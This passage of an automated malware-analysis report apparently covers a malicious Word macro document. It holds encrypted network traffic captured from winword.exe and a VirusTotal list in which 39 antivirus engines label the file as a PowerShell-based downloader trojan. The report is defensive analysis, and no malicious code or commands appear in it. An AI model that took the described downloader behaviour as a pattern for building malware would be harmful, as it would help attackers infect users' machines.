  639. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe3p\\x9e%\\x19\\x8b\\xa5p\\x1b\\x98a\\xebc\r\\xe0\\xe8\\xf5\\xf6\\x9d k\\xb5z\\xc1=\\x7fpk\\x9fi\\xa9\\x01:dz\\xef\\xb7\\x93\\x9av5\\xb7\\xe4-\\x10\\x1a\\xebm\\xd0\\xd5ma\\xd13\\x0c-?\\xfb\\xfd\\xb4hj\\x10\\x8c\\x12\\xe2\\x00('\\xd2\\x8b`\\xb3\\x84\\xb7\\xe6\\x11y\r\\x06w\\xf3\\xb5\\xcc\\x14\\xc9\\x01-\\xf9@\\xc46+p|\\xd9\\\\xd2\\xa0\\xff\\xe0\\xba\\xc3\\xf5\\xd1\\xed\\xa6|\\x85\\xe6\\xc1\\x97\\xf4\\x93\\x9d\n\\x1c\\xb8gi\nj\\xa2~\\xf9\\xe9\\xe4\\x0b\\xa5\\xa9\\xfeb\\xbd\\x8f\\xc9tp'\\xd2/\\x10\\xedg\\xf2y\\xdc\\x08(\\x87\\xae\\xc4tl\\xf0\\x92k\\xd4\\x1e\\xa3\\xe0\\xbcq\\xa9i\\x17\\xdbk\\x96\\\\xd4\\xce\\x0e \\x90'\\xb5\\xc4\\xc5\\xa7!\\xe9\\xc5:f\\x8d\\xdf\\xd3.\\x9b\\xddp\\x8fr\\xb6\\x92u\\xf2\\xc2\\xa5\\xe5\\x12i\\x8f\\xf0)\\xc4\\xbe\\xd0v\\x05k\\x00qu\\xb5!\\x81\\xd0\\xd9h\\xc2 \\xefx$\\x99\\x8a\\xd3\\xd4+<f\"\\x97\\xcc\\xe86\\xf8s\\x97\\x0b\\xd7\\x81\\x1f\\x9ec\\x03\\x0c"
  640.  
  641.  
  642. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf9\\x8a\\xe96\\x83\\x86\\x04\\x9cd,\\x1c%a<\\xbc\\x96\\xacq\\xd7\\x00\\x86qx\\xb6\\x03\\xbe\\x87\\b\\xe0\\x19\\x87g:!\\x96\\xcb\\xbah\\x96!\\x85x\\x8a+\\xf5\\xaf\\xdbo\\xdb&\\xe3\\xf3\rn\\x942\\xf6\\xb0wty\\xc3\\x87z\\xacr\\x82\\xe2m\\x17\\xca\\x8dt'\\x0c'\\x1a\\x1b\\xce\\xd7\\xebg\\xb23\\x9b\\xcd\\xf4@\\x1bga\\xa6uz\\x7f\r\\xe02\\xfdm\\xd2<\\x90\\xc7hob\\xcc2\\xc47e<p)\\x8c\\xdbn\\xa6\\x81\\xcal\\xec\\x11\\x08\\x00#\\xcea\\x10\\x96p|\\xd2\\x17\\xd9s;(\\xd4\\xa3\\xc1\\xef3\\xda*t\\xeb\\xa4\\x83\\x8c\\x91\\xeb\\xd3\\xe0\\xb9\\x8a\\xd1\\x06\\xa7\\xd9\\x89\\xf6\\xf9\\x95wp\\x88\\x0c\\x9er@\\xe8hw0\\x05\\xa6\\x1c\\x04+\\xeb\\xf8\\xa6\\xbb6\\xfa#x\\xf4\\x1f\\x86\\xd2\\xaf\\xd2\\x966! \\xde\\xdc\\x14\\x17`\\xfb^\\x01+\\xa5\\x01\\xacs\\x01\\xd0kq\\xb0\\xa1`\\xa3\\x98\\xe1\\x9c\\*\\xccuh\\x05\\x95k\\xea\\xfd \\xb4\\xc2\\xc5z6\\xd5+8"
  643.  
  644.  
  645. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x18\\xa5\"\\xe4\\xaf&`f\\xd9s\\x85\\xba\\x11.\\xf8o\"\\x1f6'q\\x06\\x82\\xd1\\xa6\\xe1\\x99\\xb0\\xfc\\xd8\\xc6\\xfb\\x19\\xfc3\\xc4\\xdfz\\xa2g\\xbcf\\xe1\\xb8y$\\xb3\\x0bfez(=u\\x86\\xa0\\xca\\xbc\\xa5\\\\x83i\\x9b\\x88\\x1f^\\xa5?17y\\xb6\\xbbyp\\x05\\xe5r\\x04e\\xacyj\\xf5wrx\\x93k\\xed\\xe9&e)=->,hj$x!~\\xc8\\xfc\\xa5-\\xdf\\x16\\xc4!\\xfe\\x1a@\\xca\\xd1\\xdc\\xae\\x8f\\xb9\\xbe\\xbdo\\xc7m\\xaf\\x02gyn\\xc9\\xe8ro\\xfee\\xb4\\x0fj\\x7f+>\\x82\\xee\\xf9`\\xbet\\xea\\xd4\\xa9b9=\\x0f8\\x01ogk*\\xd8\\x0bv\\x8e|\\xaci\\x8c\\xd3\\x88\\xd9\\xc0\\x0en\\xae777\\x02j\\xc68\\xdep\\xf9?el\\x85\\xb1\r\\x07^n\\x88s\\xd9\\xba\\xb42\\x8d\\xa2;y\\xae\\x0b\\x9c\\x90n\\xf7yy\\xdes=\\x98\\xa6b\\xc9@h\\xfb\\x8d\\xa4~\n\\xc0\\xf7\\x96\\xba\\xe8\\xb9\\xb4k\\x83\\xaa\\xd4\\xcat\\x93\\x1e\\x80\\xf2"
  646.  
  647.  
  648. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1f\\x94\\xb7ex\\x03/k\\xd7\\xd18\\x1f\\xe3\\xd5ewv\\xbc\\xd0\\xd3z\\xbf\\x12\\xa6\\x96(\\xd1\\x0c\\xdb\\x8d\\xff\\xb8\\x1b\\xb72z|x\\xcb\\xa8b\\x95\\xef\\xdd\\x90$m\\x8f\\x84_\\x9d\\x0c\\xe8\\xaf\\x8b\\x9d\\x8e\\x92\\xef\"\\xecebo\\xa6\\xa7\\xbbwr\n\\x80\\xa1%\\x1e\\xfc\\x98\\xa1\\x07\\xb0\\x97\\x0f\\xd9\\xd2s\\x07\\xa2\\xcdw\\x10r\\xa5\\xeff\\xa0w\\xd5\\x13\\x8f\\x89\\xbc@\\xe0l\\xeav\\xcd\\x7f\\xe4a-j.\\xf5\\x17\\x98zfh\\xa3+\\xab\\x98ve\\x8a\\xe8\\xbfj\\x86\\xf1\\xce\\x80\\xb0\r\\xd4\\xd4^\\x8f\\xab\\xe0\\xa7l1\\xd5\\x15udf\\x12;6\\x9a\\xa9\\x1b\\xcd\\x08\\x9c\\xa7\\x19\\x7f\\xb4;\\x8en\\xbcb\\x14)v3-\\x8a;\\xbfzn\\xd1_<\\xc4\\xad\\xd1g\\xf0\\xba|\\xaa\\x9b\\xec\\xaa\\xd2b/\\x1e\\xef\\x9851\\xecw\\xd2\\x87\\xb2\\xce\\x9ct\\xda>\\x1e\\x8a\r\\xe1\\x1bn\\xdd\\x02_n?\\xcc\\x86t8\\x89\\xee\\x93\\xae\\xa8\\x7f7v\\xb5\\x04\\x84\\xc2\\xfc#\\x13^\\x84\\xda\\xf6s|"
  649.  
  650.  
  651. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010bs%392o\\xf38\\xa6\\x0c\\xdf\\x85\\xc6z\\xfb\\x9a\\x0b\\xde0t\\x97\\xd2=\\x9ey\\xaer\\xa4x\\xd2\\xbb\\x8d\\x0b_\tk\\xb9b\\x06q\\xa34\\x9d\\xad\\xa8\\xa5\\xcb\tk~o\\xf2\\xf59f\\x98s\\x8f\\xfb\\x81!b\\xfb\\x06\\xea\\xf0\\xa38z9kj\\xac\\xb5\\xb9'\\x9a+ it\\xc7\\xc9\\xdakf24\\xee>-j1\\xe7\\xb7\\x8dh\\xd1tjo5p\\x84\\x18|p\\xb7|\\x1eic\\x97\\xc4\\xd7i\\xb5\\xbf\\x08\\x9eim\\xdb\\x9ci\\xc9\\xfa\\x0f\\xaa\\xdf\\xbd\\x8cn\\x82\\xf9t:2i\\x86\\x94y\\x8f\\xa6\\x8d\\xd1\\xc2\\xe8\\xd9\\xf82qty\\xc6cr\\xa9\\xd0\\x94\\x8c\\xa0\\xb4\\xa7\\xc2\\x01\\xc6\\xce\\xa7s\\xcc\\xe3\\xac\\x17\\xb4\\xc2\\x994\\x0f\\x81fp\\xcb\\x88\\x86'\\x1e\\xcd\\xde\\x94\\xc70\\x18\\x10\\xc2>\\xa7\\xf5\\x1bm\\xf7\n\\xf5%\\x90\\xb5\\xd8_\\xd2\\x81+\\x15= \\x18\\x13\\x1a\\xc8\\x12\\xd3\\x95yi~\\xae\\xfc\\xe2\\xd4|6\\x86v\\xec\\z\\xeb\\x0fm&y\\xbf8\\x1a_\\xaa"
  652.  
  653.  
  654. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010q\\x9d\\xca\\x9dz\\xe6\\xc6\\xe3#\"q\\x1ea\\x98\\x06\\xa9e\\xc4\\xbb\\xb2f1\\x87\\x9az#\\xb9j\\xe2\\x19gd\\x82q\\xd8=\\x84p \\xa5j\\xc6\\xeb\\x06d\\x9c\\xa4i\\x19j\\xa9i1\\xdah\\xd4m\\x89\\xbe\\xb4\\xcc\\x05\\x88\\xbe\\xf9\\xcatl`0\\x9f\\xa136ho\\xb9\\xe0\\x86\\x93\\xa0h\\xc1\\xdev\\xa9\\xc6\\xe1y\\x85\\xde\\x0b\\xd2\\xa2\\xc9\\xb3\\x06\\x8a\\xb1\\xad\\xe5\\xbf\t\\xf7\\xa0f\\x0c\\xa4\\xaa\\xde\\xb4i\\xd4\\xb1\\xea\\xdbq\\x1d\\xb7\\xcc\\xe2\\xce\\xdd\\xc9\\x1c\\x0e\\x12\\xfd\\xb7\\xddm\\x08\\xddbu\\x0b\\xe5-\\x05\r\\x0495a\\x85\\xa5l\\x0e\\x9b\\xe65\"\\x9ce\\x9el\\xcb\\x80\t\\x1d\\xf4\\xe7\\xb9iz\\xfe\\xbe-w\\x9b\\xeb\\xb7\\x83\\x80\\xc1\\x003)\\xd0\\xcfe\t\\xb0\\x1c\\xa5\\xf2zg\\xb6\\x96\\xcae\\xea\n\\x80:\\x8a\\xc0\\x1eo:\\xde\\xaa\\xe9\\x94\\xa1\\xb4\\x01\\xe3\n\\xeey\t\\x10\\xa0\\x0c\\x00\\x1a\\xd1\t=\\xd5\\xeb\\xdb=\\xecl\\x9d\\x85\\xa9\\xc1\\xd7\\xaa\\xd8\\x89\\xae\\x99m\\xd2+\\xa7iq\\x1f"
  655.  
  656.  
  657. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x87b_xm\\xe7\\xff\\xc9\\xaa\\x10y\\xad\\xb4#\\xf0f\\x142\\xd7d\\x89\\x9d59q\\xb8b\\xaa\\xf3o\\xa5\\x84o\\x10o\\xa1\\xd6\\xe8sxd\\x89+k\n\\x0e\\xe5z\\xfb\\x08\\x1d\\xc7\\x15\\xa6\\xb1\\xa4\\xde\\x16\\x85\"d\\xccdff@pz\\x97\\x86\\x9a\\x1b\\xdd\\x8e`%\\xd7\\xc0\\xf3%\\xbe\\x87\\x1dza\\x86\\xef\\x95\\xc0\\x1e\"\\xc5,\\xe8\\xed\\x0c\\xfd\\xa5\\x84\\x8e\\x86\"u\\x8d\\xda\\x13\\xf4$\\xf7\\xc4\\xfe*\\x8f\\x88\\xb0\\x84\\xdb'a\\xef\\x84\\xb9\\x06\\xdd\\x03\\xc2\\xe8\\xcd\\x9e\\xe99?\\xb2\\x88\\xc2n\\xd2\\x8e\\xbe\\x07\t\\xdf\\xc1\\xc1iv\\xe94\\x0c\\x9f\\xa1\\x01r\\xb4k^t'\\xf6\\xc3\\xc1^7q\\x1a\\xec\\x90\\xdb\\xe8b\\x14\\x91\\xfdg@6=f\\x02$h\\x12\\xaf\\xa8\\xb0x\t\\x87\\xb8\\xb0w\\xab\\xdc\\xee$m\\x99p\\xee\\x15\\x1d\\xa0\\xa2i9'\\xd5=%\\x90\\xd9\\xd2\\x12mdn\\x03\\xc3\\x07\\xf5\\xa6g\\xf1\\xb9\\xf1`\\xab\\xb1-\\xf6ls\\x9f\\xab@\\x8erso\\x8d\\xd1z\\xe9\\xfe\\xbd\\xbb\\x17\\x8b\\x896"
  658.  
  659.  
  660. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u\\xd7\\xc7\\x19\\xc0\\x0e\\xfez\\xab\\xfa|h(r\\x02w\\x8a\\xd0\\x07\\x11:\\x043\\xb5\\xa0h\\xda\\xd1\\xfd\\x8dp:\\xa1\\xd7\\x83\\x84gj\\xdc\\xa8\\xef&u\\xac\\x88\\xfe\\xe4s\\xf2\\xdc\\x9ajxh\\xdbc\\xb6\\xfea\\xab\\xacd\\x13n\\xd531\\x90,\\x1ck\\x9e\\xf5\\xa1\\xd3\\xd1\\xac\\xd1\\xd0\\x9e\t\\xba\\xec2r\\xf6@\\xd0d\\xfe\\xe5\\xdc\\xeem\\x91\\x87\\x88\"\\xb3\\x04\\xba+>\\xbe\\x1dr\\xe7s\t&\\x02v\\x00c\\xb9\\xef\\x7fo(20\\xe4\\x8f\\xd5\\xa3\\x85\\xa1>\\x12\\xbf=\\x98y\\xaa\\xf7\\xd4.\\x8a_\\xed\\xd3u\\x82\\xf2\\xfc\\x12\\xedt3\\x07\\x8bm\\x02\\x94l\\xe6@\\xab\\xaf3\\x87\\xb1a\\xe7wow1\\xf7\\xdc\\xb3`\\xbc\\xd4\\xe7op\\xa6\\xed\\xd8\\xac\\xeb#w\\x1b\\xb1q\\x9f\\xab\\xa5\\xfczjio*l\\xf7\\xaf\\xaa\\xdcs\\x13\\xb1f\\x9e\\xb3\\xd0\\xa4\\xc0\\xeb0\\x11\\x05u\\xa7\\xf2\\xee\\xb7\\x10\\x15\\xdb\"\\xbe\\\\x81\\xca\\x00\\xcc4z\\xe6^h\\xaez_\\x1fzy+|a\\x8e-\\xc2g"
  661.  
  662.  
  663. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa8^\\xb9\\xdf#\\xbc\\xc7\\x1d<6\\xcd\\x17q\\x7f\\x17|\\\\xe9*\\x83u\\x05\\xcf\\xe2\\x07\\xf3\\xa4~\\xaf\\xf9x\\xa1\\xff`\\xa8\\xc3\\xe6e\\xae\\xcc\\xe1\\xa7\\xc7^\"\\x9ap\\x01wi\\xa8jz=_\\xf3\\xf5\\xaa/\\xcc\\x19k\\x9fbz\\xedo\\xa9\\xd5\\x1d\\xaa\\xc5\\xc2\\xb0(\\x8c\\xc5\\x90f\\x81\\xaf\\xa0u~\\xc7\\x0f\\x8b\\xe8o8\\x0c\\xac<\\xd1\\x9cn\\xd8\\x0b\\x14\\x13!\\xc1\\xad|\\x19\\x9d'\\xce\\x81\\x98\\xdf\\x08\\x06\\xa1rf\\xc1\\x9b\\x81\\xa0\\xf0d\\x92\\x0e\\xcd\\xc5\\xad\t\\xbe\\x924\\xe2\\x8e=\\xda\r\\xbf,\\xb7\\xcb\\xc7\\x98\\xb62\\x10#\\x9f\\xce\\xba\\x8f\\x1c>~>\\xa3\\2\\x98\\xcf\\xe4\\xd8\\xbf\\x1c\\xaf.\\xe96\\x02h\\x1c?/c\\xf2\\xbe\\x8c\\xc2>\\xa3\\xf5\\x9dv\\xa31\\xdbz\\xcc\\x04\\xca\\xd9\\xc1\\x91\\x9aj\\x81\\xf2\\xdd\\xcb\\x01\\x82\\x14\\xd4\\xfa\\xa8\\xedv\\x03\\xf5\\x89k\\xf28\\xbf\\xa3\\x15\\x11\\xe7\\x9d\\xc9\\xa0u\\x89\\x98&\\xef\\xe3\\x19f\\xbcq\\xf76m\\x9fb\\xb1b\\xe6ch0l\\x10\\xbb\\xe9\\x80\\xc0\\x87l"
  664.  
  665.  
  666. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xae\\xe4\\x9a?v\\xa5\\xb3=\\x87\\xf0l\\x8e\\xfd\\x07\\x04ui\\x868\\xd2n\\xbd0t\\xa0\\xeepm\\x9e\r\\xf4\\x1e\\xef\\x17i\\xc3#/\\xfc\\xec\\x00\\x9d\\xe4s\\xa1\\xab\\xa1\\xd3v\\x12\\xfe\\x9f\\xbdfp\\xbe\\x81\\xd49\\xe2\\xa8\\x94l\\xd5\\xde\\x9a\\xc5f\\x00t@\\x85\\xce\\x81\\xec+\\x0e\\xb0\\xd2\\xf4\\x12\\x05\\x89u\\x1a/\\xcdc\\xdcs\\xd9\\xda\\xdf\\xb6\\x92\\xb1\\xbb\\xff\\x93e?\\x19\\xca\\x87\\xc9b:d\\x1e\\x17\\x0c*o\\x91=\\x7f\\x06\\xc7\\xea\\xf0p\\x9d\\x1b\\xccr\\x82h\\xb1\\xdf\\xc2g\\xad,\\xd3:\\xa8\\xc5\\xfbwq\\x08\\xd8\\xef\\xed\\xff\\xb3f\\x07k\\xe7oi\\\\xd7\t\\xc2\\x17m.lc\\xf47\\xdb\\xeb\\xf3\\xe7\\\\xbd\\x89\\xfd\\xe0\\xda0\\xdc3\\x10!+aos|\\xc4\\x1a\\xb3\\x16\\x8e\\xbb\\xad\\xec\\xc6\\xda\\x1e\\x8f\\xc5\\xc1q\\xc5\\x81\\xf8\\xe8\\x0c\\xc6\\xb8k\\x03j\\xd5\\xc8\\xf3\\xb5\\xba\\xe5r\\x07\t\\x92\\x06\\x7f0\\x94\\xcap(\\xb6td\\x99=\\x90\\xa5\\xb4mhz\\x01_\\x9d@z\\xd2\\xda\\x14\\xf2\\x1d\\xc3"
  667.  
  668.  
  669. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\"\\xad#nj\\x96\\xf5\\xfa`9\\xe4\\xfe\\xfa\\xe5*c\\xfa\\xba\\xb0\\x80\\xf7\\x82\\xf8\\xf1\t#.\\x96+<\\xe2\\x90=uc\\xf7\\x12\\xcd\\xf0\\xae\\xdf\\x9b\\xa4\\xc1\\xd0\\x1f\\xd6@\\x9a\\xb6\\xad\\x12\\xff\\xcb\\x89\\xf2awkka\\xb8\\xdd\\xdf\\xb5\\xb9 \\x0cl\\x006\\xfb\\xa5-3k 3o&\\xc4\\x7f\\x10\\xc0\\xc9f!\\xbf\\xd9\\xc2\\x9c\\xbd\\xec\\x1b\\x7fb~\\x0eb\\xe8\r\\xd6\\xcb\\xd1\\x1c9\\xf3\\xcc\\xb6\\x8f\\xd7\\xd1dkgo\\x0e\\xe8zd'r \\xe1xo\\xab\\xe4\\x82\\\\xe3\\xa5;\\xec'\\xa0^\\x01\\xb5n\\xd2\\xee\\x13\\x8c\\x19#\\xc9\\xc8\\xb2\\xd3\\x12\\x9bikn\\x15\\x98\\xec\\xfa=1\\xcau\\xb2\r\\x97\\x0e\\xeb\\xde\\xc4\\xc0\\x91\\xb6\\xc0\\x10\\xb8v+5\\xa0o /\\xb6\\xf5`\\xf5\\xfc5\\xc1\\xb2z\\x9f'\\x1fk*\\x95*\\xd9\\x9a \\xec\\x93\\x0e\"\\xc5\\xb6\\xdc\\x05\\xf6\\x03\\xc2w\\xb5s\\x89\\x9b\\xdb\\xfa\\x1d$.\\xe8\\xe1\\xa5\\xfc\\xf7\\x91\\xef\\x87\\xc8<\\xc4kh\\xf73\\x9b\\x95\\x88cc!\\xa2\\x87o"
  670.  
  671.  
  672. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010ynb\\x19\\xff\\xea^\\xbb\\x06\\x04\\xde\\xf4\\xdd@q\\xf5+c\\x0c\\xfd?\\xdf\\xf1pp)|g\\xb3mx\\x01\\xb0\\xf8\r\\xf1w\\x12\\x13\\x86q\\xc9y3\\x80l0\\xc8)f\\xc6\\xa1\\xf6\\!)\\xee\\x05\\xf4\\xec&f\\x1er\\xac\r\\xaa\\xf6\\xd1\\x96#u\\x84\\xee\\xa5\\x0f\\x91d\\xec\\x10w1-\\xf1\\xa3\\x04\\xf8\\xd8\\x9a\\xdd\\xd7\\xf6\\xd1\\xf3ha&3h\\x00\\xbe\\x13\\xc8u.n+\\xeev5\\xe2|\\xef-\\xa0\\x00\\xb21\\xde\\xe3\\xc5\\xf1\\xe1\\xe7\\xe4<\\xbd\\xb2b\\xfb\\xef\\xd2\\x93\\x19\\xefq\\xd5\\xd4\\x87\\xe1\\x8ag)\\xd9c@aq\\xec\\xef:i\\x95\\xa6y\\x9b\\xcd\\xc4\\xd0\\xdc\\xc8\\x9e\\x00.\\x99~\\x05m\\xec\\xbc\\xd8\\xaey\\x08t\\xb1\\x01\\x83u\\x1e\\xcc\\x98/\\xa3\\x859\\xbb\\xa9\\xf6\\xf3\\xdb\\xd1\\xca\\xe5\\xd5\\xf4\\xb0\\xa9*p\\x8f\\xb4\\xf9\\xe6\\x10e\\x1ee(\\xe2\\x87q\\x8b\\xade\\x8f#4\\x0fh\\x9e\\xb9\\xef\\xe9\\x15\\xe0\\x98\\xc7\\x89\\xd7\\xa2te\\x08\\x86\\xe3\\x9f?\\x03d\\xf6\\x81ka\\x05"
  673.  
  674.  
  675. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa4\\xc9\\xd5\\x00\\xd0\\xda\\x00\\x02\\xb58\\x19\\x96\\x01\\\\xfc\\xb4rj\\x92~x\\x888\\xb2\\x12\\xea\\xe7\\x1d\\x7f\\x7f\\xc5h\\xb3\\xca\\x8d8;\\xe5\\x8d 5c\\x8b\\xf9\\xde\\xe4j:\\xde'\\x10\\xe8\\xa0>eg<ff\\xf7\\xcbw\\x99mx~\\x1c\\xd4\\xd9\\xbd\\x98\\x98@e\\xce3\\x958k\\xbe&f9\\x1a(\\x11\\xc1\\x1b#\\x0c\\x9c_\\xb8\\x94#\\xa2\\x89\\xb1\\xc4\\x95w\\x8e\\x14\\xc3\\xfcc7\\x14t\\x944\\xf5\\xb1\\x13\\xcb\\x0e\\xbcg\\x03|nq\\xe6\\x17y\\x15$jba\\x96p\\x8bj,u\\x8a\\x11y\\xa3u\\x8da\\x81\\x0f\\xc9lnl\\xb0\\x0c cj\\x03\\xf5g\\xf6\\xa5\\xa5s\\x93\\x91=\\xe9\\xd2s\\x9c\\xec\\x8cr\"\\x9b\\x94wmy\\x95^\\xba\\xb2\\xd3\\xc5\\xec\\xfa\\xf7i+a\\x90\\xf5b1\\xd2\\xda\\x12\\xb3\\x0e\\xbb\\xa2\\xb1\\x07\\x8b\\x00\\x9ed\\xb3\\xbb\\x10\\xc3\\x10\\x1fk\\xfc\\xdf\\x03\\x169gep8t\\xe6\\xaf\\xaf=\\x9b\\xfd!ed\\xc0\\xfa\\x18\\x9bq\\x14/d\\xc0\\xd4>!1\\xbe"
  676.  
  677.  
  678. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x01t\\x12e\\x86\\xd4\\xc9o\\x0f<k\\xa5g\\xef\\x07q\\x18c9\\xa8y4\\xf8\\x06\\x03\\x1b8\\xdbs\\xda\\xb0s\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  679.  
  680.  
  681. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x000\\x9fq\\x8f\t\\xff\\xf3\\xafv\\xc4\\xa1\\x82\\xf5\\x95\\xa7&\\xc6\\xd4\\xb3u \\x86\\xe6\\xa2\\xb4o^\\xac\\xc0c\\x018\\xf8\\xc5\\x07@\\xa0\\x91vs\\x94\\x9e\n@l>\\xc1a\\xa2\\xf9\\xc2i\\xa5m;\\xbb#\\x0b\r\\xc4\\x84\\x0eu\\x97\\xfc\\xe8\\x99\\x90\\x95g=k\\x05d2\\xa9\\xbd\\xc4\\xcc0\\xba\\xb5w\\xaeebv\\xa0l\\xbd\\x1a&,\\x1ft\\xc8\\xf4\\x04.a\\x7f\\xfbj4\\xb6\\x0c\\x88`=\\xf0h\\x93\\x94\\x99\\xf4\\xa1d\\xbd\\x80p\\xe2fam\\xb9\\xfag\\x17_\\xc4m\\xd0\\xf8hw:\\x12\\xb0\\x89u\\x8fx\\xb1\\xf5\\xa6\\xed!?\\xebwn\\xe0\\x0c\\xe5\\xa6\\x9e\\xeb\\xfd\\xc2n;\\x13\\x97j\\xbc^v\\xa5\\xeb\\x9e\\xfb\\xed\\xe2\\x16\\xae\\xeb(\\xb3!\\x1au\\xee/\\x9b\\x02u<r0\\x1b\\xf0\\x02^\\x92\\xc0l\\xa99g\\xff5!\\xb2\\xa0a~\\xcf\\xcf4\\xf5\\x85s\\xdcw:\\xef\\x15\\xa0\\x1e\\x8a\\x0b\\xe6\\x08*ar3\\x9e\\xee\\x84\\xb6\\x80\\x13\\xc6q$>9<\\x0c\\xb4|"
  682.  
  683.  
  684. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`\\x17ze\\xc5(\\xc6#y\\xa9\\xda\\xd2n\\xfc4\\x8b@4k\\x80\\xd2\\xa6\\xab\\x18\\xe4\\xb2\\xdd\\xe7\\xff_\\xda3\\xf8p\\x07\\xa5t\\xa3\r\\x82>\\xcc-i\\x8f\\xa3\\x12j*\\x83t\\x05\\x03\\x17\\x1e\\xf2g\r\r\\xb7\\x8a:\\xe7`\\xdb\\xd2\\x92^\\xbfpg\\x0b\\xe7\\x9av$\\xdc\\xbe\\xa7\\xda\\xe8\\xb6\\xb9<\\xbc\\x92\\xaa\\xc8\\xe9\\xab\\xc1fm.w\\x02\\xa26\\x8btff\\xf5\\xcf\\xef\\x95\\x9a\\xf3\\x8f \\xb7k\\x97\\x886\\xf8\\xd5e\\x8d\\xa5\\xe2\\xfd\\x9a3\\x97\\xde\\xfb:x\\xc6\\xa4\\x8ab\\xdd!|\\x1a\\x1a\\xca\\xb6>\\xe8\\xe8\\x82n\\xe1\\x8f~\\xb8a\\xfe%\\x85\\xd6\"m \\xd8h\\\\xb4\\x99\\xd9\\xc1u\\xbd\\xe6\\xb3s\\x0e\\xa44h\\xbc\\x8a(\\x07\\xe8\\x9d\\xd0\\xbf\\x1ees\\x8f\\xb9\\xf5\\xdd\\x1cg\\x1bq\\xe5\\xd1\\xed\\xe7%gv\\xa8\\xdce\\x9c\\xdf\\xc6\\xa9\\x10\\xb2\\xd0y!\\xad\\x806n;\\xbd\\x19\\x9a\\xf8i\\xbd\\\\xad|n\\xca\\x13\\xd6\\xcfz\\xf5\\xa2a\\xf7\\xa1\\x17\\xb8\\x04\\xf1\\x82\\x96\\xa1\\xc9"
  685.  
  686.  
  687. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p\\x00\\xa3\\x98\\x988-\\x9e5\\xc5\\x95\\xe4\\xe0\\xebv,)\\x890\\x12u\\xd6\\xc45\\xec\\x0b\t\\x8f\\xf1u\\xe1\\x10`\\xa8\\xe7e\\xfd\\xae\\x0f*\\xf3\\xaa\\xda\\xeb\\x1c\\x8e\\x98p\\x9c\\xecz\\xdd\\xf4\\x08xxq7a\\xbc\\x8d\\x05\\x0c\\xb6\\x17\\x7f\\xa8\\xa5\\xb9\\xbe\\xebi!\\x89a@\\x84\\xac\\xa6\\x8c\\xd1!r\\x0c\\xcf;\\xec\\x92\\x8f\\xb6\\xb8!nz\\xf7\\xaa00\\xfc8\\xa0\\xb4*h|-\\xb1vtbtw\\x1f\\xe3\\xc7\\xd1\\xfc\\xe9\\xdb \\xe7e\\x12\\xa4\\x0fy\\xcd\t\\x8f\\xbb\\x03\\xd0\\x0e\\xacq\\xe7\\xae\\\\x0c\\xb6\\xf7\\x17\\xd6\\xbeom\\x7f\\x1d\\xc6\\xebb\\x97\\xcbu\\xd3e\\xc8\\x04\\xe0\\xa1\\xa6\\x8f7\\x995\\x00p\\xfe\\xb4\\xef\\x90\\xe0u\\x9e\\xb9\\x89&u\\xc1v3v*;_x\\xab%\\xe5bp3\\xe1\\xa0a\\x85\\\\x0cm\\xee'8\\xc7\\x8fn*\\xd2<\\xf2\\xca\\xeb@\\x1do\\x9e\\xee\\x0c\\x93\\xd6\\x94\\x1f\\xd24\\xa5p\\x02\\x99\\x82\\xe2\\xc2,%2d\\xf4\\xb9\\xceu\\xea&\\xa9x\\xc8l=\\xc1"
  688.  
  689.  
  690.  
  691.  
  692. "Description": "File has been identified by 39 Antiviruses on VirusTotal as malicious",
  693. "Details":
  694.  
  695. "MicroWorld-eScan": "VB.PwShell.13.Gen"
  696.  
  697.  
  698. "FireEye": "VB.PwShell.13.Gen"
  699.  
  700.  
  701. "CAT-QuickHeal": "W97M.Downloader.33160"
  702.  
  703.  
  704. "ALYac": "VB.PwShell.13.Gen"
  705.  
  706.  
  707. "K7AntiVirus": "Trojan ( 00536d111 )"
  708.  
  709.  
  710. "K7GW": "Trojan ( 00536d111 )"
  711.  
  712.  
  713. "Arcabit": "HEUR.VBA.A.1"
  714.  
  715.  
  716. "Baidu": "VBA.Trojan-Downloader.Agent.dlc"
  717.  
  718.  
  719. "Cyren": "W97M/Macro.gen"
  720.  
  721.  
  722. "Symantec": "W97M.Downloader"
  723.  
  724.  
  725. "ESET-NOD32": "VBA/TrojanDownloader.Agent.LAU"
  726.  
  727.  
  728. "TrendMicro-HouseCall": "W2KM_POWLOAD.THAABCAH"
  729.  
  730.  
  731. "ClamAV": "Doc.Malware.00536d-6723914-0"
  732.  
  733.  
  734. "Kaspersky": "HEUR:Trojan.MSOffice.SAgent.gen"
  735.  
  736.  
  737. "BitDefender": "VB.PwShell.13.Gen"
  738.  
  739.  
  740. "NANO-Antivirus": "Trojan.Ole2.Vbs-heuristic.druvzi"
  741.  
  742.  
  743. "Tencent": "Heur:Trojan.Script.LS_Gencirc.7112849.0"
  744.  
  745.  
  746. "Ad-Aware": "VB.PwShell.13.Gen"
  747.  
  748.  
  749. "Emsisoft": "VB.PwShell.13.Gen (B)"
  750.  
  751.  
  752. "Comodo": "Malware@#smmiu3ugh1r1"
  753.  
  754.  
